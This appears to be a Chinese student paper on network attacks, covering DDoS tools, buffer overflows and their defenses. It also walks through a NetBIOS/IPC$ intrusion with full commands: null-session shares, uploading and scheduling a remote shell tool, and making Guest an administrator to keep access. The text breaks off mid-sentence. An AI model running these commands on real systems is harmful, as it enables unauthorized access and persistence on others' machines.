网络安全论文Word格式.docx
《网络安全论文Word格式.docx》由会员分享,可在线阅读,更多相关《网络安全论文Word格式.docx(13页珍藏版)》请在冰豆网上搜索。
主动攻击包括拒绝服务攻击、信息篡改、资源使用、欺骗等攻击方法。
2被动攻击
被动攻击主要是收集信息而不是进行访问,数据的合法用户对这种活动一点也不会觉察到。
被动攻击包括嗅探、信息收集等攻击方法。
2攻击步骤与方法
2.1攻击步骤
1搜集信息
2实施入侵
3上传程序、下载数据
4利用一些方法来保持访问,如后门、特洛伊木马
5隐藏踪迹
2.2攻击方法
1入侵攻击
拒绝服务攻击
严格来说,拒绝服务攻击并不是某一种具体的攻击方式,而是攻击所表现出来的结果,最终使得目标系统因遭受某种程度的破坏而不能继续提供正常的服务,甚至导致物理上的瘫痪或崩溃。
分布式拒绝服务攻击
高速广泛连接的网络也为DDoS攻击创造了极为有利的条件。
在低速网络时代时,黑客占领攻击用的傀儡机时,总是会优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。
口令攻击
攻击者攻击目标时常常把破译用户的口令作为攻击的开始。
只要攻击者能猜测或者确定用户的口令,他就能获得机器或者网络的访问权,并能访问到用户能访问到的任何资源。
2欺骗攻击
(1)IP欺骗
公司使用其他计算机的IP地址来获得信息或者得到特权。
电子信件欺骗
电子信件的发送方地址的欺骗。
比如说,电子信件看上去是来自TOM,但事实上TOM没有发信,是冒充TOM的人发的信。
(2)WEB欺骗
越来越多的电子商务使用互连网。
为了利用网站做电子商务,人们不得不被鉴别并被授权来得到信任。
在任何实体必须被信任的时候,欺骗的机会出现了。
非技术类欺骗
这些类型的攻击是把精力集中在攻击攻击的人力因素上。
它需要通过社会工程技术来实现。
3会话劫持攻击
会话劫持(SessionHijack)是一种结合了嗅探以及欺骗技术在内的攻击手段。
广义上说,会话劫持就是在一次正常的通信过程中,黑客作为第三方参与到其中,或者是在数据流(例如基于TCP的会话)里注射额外的信息,或者是将双方的通信模式暗中改变,即从直接联系变成有黑客联系。
会话劫持利用了TCP/IP工作原理来设计攻击。
TCP会话劫持的攻击方式可以对基于TCP的任何应用发起攻击,如HTTP、FTP、Telnet等。
4缓冲区溢出攻击
几十年来,缓冲区溢出一直引起许多严重的安全性问题。
其中最著名的例子是:
1988年,因特网蠕虫程序在finger中利用缓冲区溢出感染了因特网中的数万台机器。
引起缓冲区溢出问题的根本原因是C(与其后代C++)本质就是不安全的,没有边界来检查数组和指针的引用,也就是开发人员必须检查边界(而这一行为往往会被忽视),否则会冒遇到问题的风险。
标准C库中还存在许多非安全字符串操作,包括:
strcpy()、sprintf()、gets()等。
2.3攻击结束
1保留访问权限
在大多数情况下,攻击者入侵一个系统后,他可能还想在适当的时候再次进入系统。
比如说,如果攻击者入侵了一个站点,将它作为一个对其他系统进行攻击的平台或者是跳板,他就会想在适当的时候登录到这个站点取回他以前存放在系统里面的工具进行新的攻击。
很容易想到的方法就是在这个已经被入侵的系统中留一个后门。
但是,非常关键的是,不但要留下下次进入的通道,而且还要对自己所做的一切加以隐藏,如果建立起的后门马上就被管理员发现就没有任何用处了。
2后门和特洛伊木马
简单地说,后门(backdoor)就是攻击者再次进入网络或者是系统而不被发现的隐蔽通道。
最简单的方法就是打开一个被端口监听代理所监听的代理,有很多软件可以做到这一点。
3隐藏踪迹
当黑客成功获取了存取权限且完成了自己的预定目标后,他还有最后一个工作要完成--隐藏攻击踪迹。
这其中包括重新进入系统,将所有能够表明他曾经来过的证据隐藏起来。
为达到这个目的,有三个方面的工作要做:
(1)日志文件
大多数系统都是通过记录日志文件来检测是谁进入过系统并且停留了多长时间。
根据日志文件所设置的级别不同,还可以发现他们做了些什么,对哪些文件进行了操作。
(2)文件信息
为了获得系统的存取权限和在系统中建立后门,攻击者通常必须对某些系统文件进行修改。
当他们这样做后,文件的一些信息,比如说修改时间和文件长度就会发生变化,通过这些也可以确定系统是否曾经遭受过攻击。
在很多情况下,黑客为了达到进入系统获取权限目的,必须另外上传或者安装一些文件。
这些用来隐藏踪迹或者用来对别的站点进行新攻击的文件通常会占用一定的磁盘空间。
系统管理员可以通过磁盘空余空间的检查来确定是否发生过攻击。
(3)网络通信流量
当黑客对某个系统进行攻击时,大多数情况下是通过网络进行的。
这也意味着攻击者必须对自己在网络上留下的痕迹进行清除。
由于网络系统都运行着IDS(入侵检测系统),任何可疑的网络通信都会被打上标记。
而要抹去IDS上的记录是非常困难的,因为它是实时监测的。
3分布式拒绝服务攻击
3.1DDoS的诞生
1999年8月以来,出现了一种新的网络攻击方法,这就是分布式拒绝攻击(DDoS)。
之后这种攻击方法开始大行其道,成为黑客攻击的主流手段。
Yahoo、eBay、CNN等众多知站点相继被身份不明的黑客在短短几天内连续破坏,系统瘫痪达几个小时甚至几十个小时之久。
拒绝服务攻击
拒绝服务攻击(DenialofService)——是一种个人或多人利用Internet协议的某些漏洞,拒绝其他用户对系统和信息的合法访问的攻击。
这类攻击使服务器充斥大量要求恢复的非法用户的信息和请求,消耗网络带宽或系统资源,导致网络或系统不胜负荷以至瘫痪而停止提供正常的网络服务。
分布式拒绝服务攻击(DistributedDenialofService)是对拒绝服务攻击的发展。
攻击者控制大量的攻击源,然后同时向攻击目标发起的一种拒绝服务攻击。
海量的信息会使得攻击目标带宽迅速消失殆尽。
相对于一般的拒绝服务攻击,分布式拒绝服务攻击有以下两个特点:
分布式拒绝服务攻击特点:
由于集中了成百上千台机器同时进行攻击,其攻击力是十分巨大的。
即使像Yahoo,Sina等应用了可以将负荷分摊到每个服务器的集群服务器(clusterserver)技术,也难以抵挡这种攻击。
多层攻击网络结构使被攻击主机很难发现攻击者,而且大部分装有主控进程和守护进程的机器的合法用户并不知道自己是整个拒绝服务攻击网络中的一部分,即使被攻击主机监测到也无济于事。
3.2DDoS的攻击步骤
攻击过程主要有两个步骤:
攻占代理主机和向目标发起攻击。
具体说来可分为以下几个步骤:
1探测扫描大量主机以寻找可入侵主机;
2入侵有安全漏洞的主机并获取控制权;
3在每台被入侵主机中安装攻击所用的客户进程或守护进程;
4向安装有客户进程的主控端主机发出命令,由它们来控制代理主机上的守护进程进行协同入侵。
1利用IP源路由信息的攻击
由于TCP/IP体系中对IP数据包的源地址不进行验证,所以攻击者可以控制其众多代理端用捏造的IP地址发出攻击报文,并指明到达目标站点的传送路由,产生数据包溢出。
2利用RIP协议的攻击
RIP是应用最广泛的路由协议,采用RIP的路由器会定时广播本地路由表到邻接的路由器,以刷新路由信息。
通常站点接收到新路由时直接采纳,这使攻击者有机可乘。
3利用ICMP的攻击
绝大多数监视工具不显示ICMP包的数据部分,或不解析ICMP类型字段,所以ICMP数据包往往能直接通过防火墙。
例如,从攻击软件TFN(Tribefloodnetwork)客户端到守护程序端的通讯可直接通过ICMP-ECHOREPLY(Type0)数据包完成。
可直接用于发起攻击的ICMP报文还有:
ICMP重定向报文(Type5)、ICMP目的站点不可达报文(Type3)、数据包超时报文(Type11)。
3.4DDoS攻击的五种常用方式
至今为止,攻击者最常使用的分布式拒绝服务攻击程序主要包括4种:
Trinoo、TFN、TFN2K和Stacheldraht。
1Trinoo(TribeFloodNetwork)攻击
Trinoo是一种用UDP包进行攻击的工具软件。
与针对某特定端口的一般UDPflood攻击相比,Trinoo攻击随机指向目标端的各个UDP端口,产生大量ICMP不可到达报文,严重增加目标主机负担并占用带宽,使对目标主机的正常访问无法进行。
DDoS攻击的五种常用方式
2TFN攻击
TFN是利用ICMP给主控端或分布端下命令,其来源可以做假。
它可以发动SYNflood、UDPflood、ICMPflood及Smurf(利用多台服务器发出海量数据包,实施DoS攻击)等攻击。
3TFN2K攻击
TFN2K是TFN的增强版,它增加了许多新功能
4Stacheldraht攻击
Stacheldraht结合了Trinoo和TFN的特点,并且它将attacker和master间的通信加密,增加了master端的自动更新功能,即能够自动更新daemon主机列表。
5SHAFT攻击
SHAFT是一种独立发展起来的DDoS攻击方法,独特之处在于:
首先,在攻击过程中,受控主机之间可以交换对分布端的控制和端口,这使得入侵检测工具难以奏效。
其次,SHAFT采用了“ticket”机制进行攻击,使其攻击命令有一定秘密性。
第三,SHAFT采用了独特的包统计方法使其攻击得以顺利完成。
3.5DDoS攻击新技术——反弹技术
反弹技术就是利用反弹服务器实现攻击的技术。
所谓反弹服务器(Reflector)是指当收到一个请求数据报后就会产生一个回应数据报的主机。
例如,所有的Web服务器、DNS服务器和路由服务器都是反弹服务器。
攻击者可以利用这些回应的数据报对目标机器发动DDoS攻击。
反弹技术原理
反弹服务器攻击过程和传统的DDoS攻击过程相似,如前面所述的4个步骤中,只是第4步改为:
攻击者锁定大量的可以作为反弹服务器的服务器群,攻击命令发出后,代理守护进程向已锁定的反弹服务器群发送大量的欺骗请求数据包,其原地址为受害服务器或目标服务器。
反弹技术实现DDoS攻击与传统DDoS攻击的区别:
1.反弹技术实现DDoS攻击比传统DDoS攻击更加难以抵御。
实际上它的攻击网络结构和传统的相比多了第四层——被锁定的反弹服务器层。
反弹服务器的数量可以远比驻有守护进程的代理服务器多,故反弹技术可以使攻击时的洪水流量变弱,最终才在目标机汇合为大量的洪水,其攻击规模也比传统DDoS攻击大得多。
2.目标机更难追查到攻击来源。
目标机接收到的攻击数据报的源IP是真实的,反弹服务器追查到的数据报源IP是假的。
又由于反弹服务器上收发数据报的流量较小(远小于代理服务器发送的数量),所以,服务器根据网络流量来自动检测是否为DDoS攻击源的这种机制将不起作用。
3.6DDoS攻击下的防御
对DDoS攻击体系的检测与防范是一个整体行为,必须从主控端、代理端、目标端分别进行。
总体上包括两个方面:
一是主控端与代理端主机应防止被攻击者侵入并加以利用。
二是在目标端建立监控机制及时检测网络流量变化判断是否发生DDoS攻击以便采取适当措施。
第一种情况是我们根本的防范目标,但是这属于单机的安全防御,所以这里不加详述。
第二方面是DDoS所特有的网络特征,下面将就此作一点介绍。
实际上,DDoS的唯一检测方式是:
异常的网络交通流量。
下面将分别介绍5种异常模式及相应的解决办法。
网络流量的几种异常模式
1负责目标机域名解析的DNS收到大量的PTR检索请求,则很有可能由DDoS发生。
可以在DNS服务器进行此类匹配工作,一旦发生,做出相应的警告。
(攻击前必须首先解析目的主机的IP地址)
2突然的网络流量超过网络的阈值。
只是很明显的拒绝服务攻击的信号,解决办法是设置网络防火墙将来自某些地址的数据包丢掉。
3发现超常的ICMP或者UDP数据包。
这些超常的数据包通常是Attacker发往Master的控制信息。
网络监测工具的使用
一些常用的软硬件的正确应用在网络检测中起着很大的作用,比如:
1防火墙的应用——在防火墙设置了正确的规则后,一定程度上可以识别这些拒绝服务攻击所采用的攻击方法,并将攻击包阻挡在外。
2Scanners的应用——可以及时发现网络中存在的漏洞并及时修复;
可以发现网络中后门和DDoS代理程序,以便及时清除。
3IDS的应用——IDS可以分析所有进入网段或主机的数据包,来发现是否有人企图扫描网络或利用漏洞(不论漏洞存在与否),若是攻击者连初次的扫描也无法进行,当然也就无法作出后续攻击了。
4缓冲区溢出攻击与防御
4.1缓冲区溢出攻击简介
1造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
缓冲区溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果.
2后果:
向一个有限空间的缓冲区中置入过长的字符串可能会带来两种后果
一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;
另一种后果是利用这种漏洞可以执行任意指令,甚至可以取得系统特权,由此而引发了许多种攻击方法。
4.2缓冲区溢出攻击
C语言能改变内存地址内容的语句主要有两类
1)*A=B;
/*指针型语句*/
2)A[i]=B;
/*数组型语句*/
其中,A,B均为变量,*A为指针,A[]为数组,i为数组
此两种语句分别对应了两种攻击方法。
一:
指针型攻击方法
在第1类语句(指针型语句)中,由于A所指向的内存地址取得B的值,因而攻击者能利用该声明来改变函数的返回地址。
由此可构成第一种攻击方法,又可称为指针型攻击方法。
取得成功必须具备下列条件
1.一个循环语句,用于将用户输人数据复制到一个缓冲区数组,而且不能检查数据量,同时数组必须紧靠变量A
2.一个循环语句,用于将用户输人数据复制到一个缓冲区数组,而且不能检查数据量,同时数组必须紧靠变量B
3.
(1)、
(2)必须在*A=B执行之前,且
(1)、
(2)执行后,不能再改变A、B的值。
攻击实施过程
在*A=B执行之前,通过
(1)、
(2)改变A、B的值,当语句*A=B执行时,变量A的新值所指向的地址*A将取得变量B的新值(即用户输入的数据)。
利用这种方法,攻击者可以改变任何内存地址的内容,包括返回地址。
二:
数组型攻击方法
在第二类语句(数组型语句)中,数组A[]中的第i个元素A[i]取得B的值。
必须满足的条件
(1)一个循环声明,用于将用户输人数据复制到一个缓冲区数组,而且不能检查数据量,同时数组必须紧靠变量B
(2)一个循环声明,用于将用户输人数据复制到数组A,而且不能检查A的上界,每次循环后i的值加1,同时数组A必须紧靠一个返回地址
实施过程一
通过
(1)改变B的值,然后通过
(2)将B的新值循环输人数组A,直到返回地址也被该新值覆盖。
这种攻击中,不仅返回地址被改变,而且介于数组A与返回地址之间的所有内存区域也全被改写。
这种方法在缓冲区溢出攻击中使用得最多。
实施过程二
与指针型语句中的攻击方法类似。
假设A[k]存有函数的返回地址。
如果我们用第一种攻击方法使A[k]溢出,就可将返回地址的值改写成任何需要的值。
攻击成功发生必须同时满足三个条件:
1将攻击代码注入内存
2将函数返回地址指针指向已注入攻击代码的内存地址
3执行攻击代码
4.3缓冲区溢出的防御
这种方法的关键是要能禁止恶意代码的注入。
最根本的办法是采用安全的C语言库函数的最新版本,或者由程序员编程时手工加入用以检查数组与指针等的上界的代码,对下列经常使用又容易被攻击者利用的函数更需特别重视。
strcpy(),strcat(),sprintf(),vsprintf(),gets().scanf(),以及在循环内的getc(),fgetc(),getchar()等
允许缓冲区溢出但不允许改变控制流
这种方法允许注入外部代码,但禁止XX控制流的改变,因而攻击者可以将其攻击代码注入内存并能改变部分地址段内容,但控制流不会被指向攻击代码,从而攻击代码不会被执行。
允许改变控制流但禁止敏感代码的执行
这种方法中,可以注入攻击代码、并能改变返回地址,但攻击代码不能完全执行。
比如可以禁止诸如exec()等系统调用函数的非法使用,在Unix中,当程序使用系统调用函数时,其返回地址将被保存在系统内核堆栈中,而不是普通堆栈中。
这样,通过检查系统调用的地址是否来自系统内核堆栈就可知道它是否合法。
5一个基于Netbios的攻击实例
5.1攻击步骤
1扫描目标计算机
对目标计算机或的端口扫描(portscan)。
使用端口扫描软件如SuperScan3.0,查看目标计算机的端口139是否打开。
139端口是“NetBIOSsession“端口,用来进行文件和打印共享的端口。
选择192.168.11.12为攻击目标
2列出已知共享
找到了这样的目标计算机后,先发出[cmd>
netuse\\IP-address\ipc$“”/user:
“”]命令尝试空连接,一旦连接成功,就用[netview]命令列出已知共享。
3映射网络硬盘
我们已经获得对方的共享列表,那么就可以用[cmd>
netuseX:
\\IP-address\sharename]将对方共享夹映射成自己的网络硬盘。
我们知道NT都有自己的隐藏共享,如:
C$、D$、ADMIN$等,空连接成功后,我们就尝试将这些隐藏映射,当然是只有当共享不设密码或分配给everyone群组时这一攻击才有效。
4复制攻击工具
把需要用到的工具COPY到对方机器:
C:
\>
copysrv.exe\\192.168.11.12\admin$//先复制srv.exe上去。
(这里的ADMIN$是指ADMIN用户的c:
\winnt\system32\大家还可以使用c$,d$这个的意思是C盘与D盘,这看你要复制到什么地方去了)
已复制1个文件。
5启动SRC
nettime\\192.168.11.12//查对方计算机的时间。
\\192.168.11.12的当前时间是2003/6/29上午11:
00
命令成功完成。
at\\192.168.11.1211:
05srv.exe//用at命令启动srv.exe新加了一项作业,其作业ID=1
nettime\\192.168.11.12//再查查时间有没有到\\192.168.11.12的当前时间是2003/6/29上午11:
05
6启动TELNET
telnet192.168.11.1299//启动telnet注意端口是99,TELNET默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的SHELL。
//
此时进入命令行模式,已可对对方机器发送指令了。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活,所以我们打算建立一个Telnet服务,这就要用到ntlm了。
7建立TELNET服务
copyntlm.exe\\192.168.11.12\admin$
用Copy命令把ntlm.exe上传到主机上。
C:
\WINNT\system32>
ntlm
输入ntlm启动(这里的C:
指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。
当出现“DONE”的时候,就说明已经启动正常。
然后使用“netstarttelnet”来开启Telnet服务。
Telnet192.168.11.12,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单。
8保留访问权限
为了以防万一,我们再把guest激活加到管理组
netuserguest/active:
yes
将对方的Guest用户激活
netuserguest1234
将Guest的密码改为1234,或者你要设定的密码
netlocalgroupadministratorsguest/add
将Guest变为Administrator。
(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
5.2如何防范IPC$漏洞
禁止建立空连接
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]
RestrictAnonymous=DWORD:
00000001
禁止管理共享
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer=DWORD:
00000000
6常用攻击工具
1SRV.exe这个工具在流光的目录中,很多防火墙将他列为病毒。
用于在主机建立一个端口为99的shell。
然后我们就可以TELNETIP99上去了。
Ntlm.exe:
用于修改Windows2000TelnetServery身份验证的方式。
2pfExploit.exe远程溢出攻击:
Kerio
Personal
Firewall
(KPF)是一款个人防火墙软件。
KPF的管理员鉴定程序中存在可远程使用的缓冲溢出缺陷。
当管理员与防火墙为了建立加密会话的第一次握手时,将会发送包含管理员密匙信息的数据包。
由于防火墙对接收的数据包缺少正确的边界检查,导致出现缓冲溢出缺陷。
利用该缺陷,攻击者能在目标机器上执行任意代码。
3TScrack.exe远程密码破解:
针对Win2000终端服务的一个密码破解程序.这个程序被微软推荐给用户使用,来检查终端服务密码的强壮性.程序使用msrdp控件,可在本地虚拟远程终端连接窗口,通过密码字典进行破解.
可以指定多种参数,使用比较灵活,破解速度视攻击